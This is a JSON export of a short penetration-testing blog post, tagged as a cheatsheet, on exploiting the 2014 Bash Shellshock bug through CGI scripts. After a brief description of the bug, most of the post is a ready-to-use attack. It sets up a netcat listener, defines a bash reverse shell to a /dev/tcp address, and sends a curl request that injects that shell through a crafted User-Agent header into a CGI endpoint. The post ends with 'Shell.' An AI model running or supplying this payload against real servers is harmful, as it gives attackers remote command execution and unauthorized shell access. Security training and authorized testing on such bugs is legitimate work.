{"id":330,"date":"2021-05-04T16:34:53","date_gmt":"2021-05-04T16:34:53","guid":{"rendered":"https:\/\/sirensecurity.io\/blog\/?p=330"},"modified":"2021-07-15T03:02:46","modified_gmt":"2021-07-15T03:02:46","slug":"shellshock","status":"publish","type":"post","link":"https:\/\/sirensecurity.io\/blog\/shellshock\/","title":{"rendered":"Shellshock."},"content":{"rendered":"\n
\"\"
\n

S1REN<\/p>\n\n\n\n

The Hacker's Dream Shell. (once upon a time<\/em>)<\/p>\n<\/div><\/div>\n\n\n\n

\"Shellshock<\/strong>, also known as Bashdoor<\/strong>, is a family of security bugs<\/a> in the Unix Bash shell<\/a>, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands<\/a> and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.\"<\/strong>

\"\"<\/p>\n\n\n\n

If you're on an engagement and you discover some \/cgi-bin\/ directory - it would be wise to fuzz for file names + \".cgi\". Checking for CGI files either left behind from a default configuration or perhaps a developer who was utilizing it for debugging purposes is an important thing to check for.

Lets suppose you found something like \/cgi-bin<\/strong>\/superadmin.cgi<\/strong> during your engagement. The first thing that should come to your mind is \"I wonder if it's shellshock vulnerable?<\/em>\".

nc -nlvp 9997
export CMD<\/strong>=\"bash -i >& \/dev\/tcp\/192.168.1.6\/9997 0>&1\"
curl -H \"User-Agent: () { :; }; \/bin\/bash -c 'echo aaaa; ${CMD<\/strong>}; echo zzzz;'\" http:\/\/example.com\/cgi-bin<\/strong>\/superadmin.cgi<\/strong>

Shell.<\/em>

Here's a great reference if you want to learn more about how it works:<\/strong>
https:\/\/www.troyhunt.com\/everything-you-need-to-know-about2\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

\"Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.\" If you're on an engagement and you […]<\/p>\n","protected":false},"author":1,"featured_media":331,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[57,4,58,56],"class_list":["post-330","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-s1ren","tag-cheatsheet","tag-s1ren","tag-shell-shock-attack","tag-shellshock"],"_links":{"self":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/330","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/comments?post=330"}],"version-history":[{"count":2,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/330\/revisions"}],"predecessor-version":[{"id":413,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/330\/revisions\/413"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media\/331"}],"wp:attachment":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media?parent=330"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/categories?post=330"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/tags?post=330"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}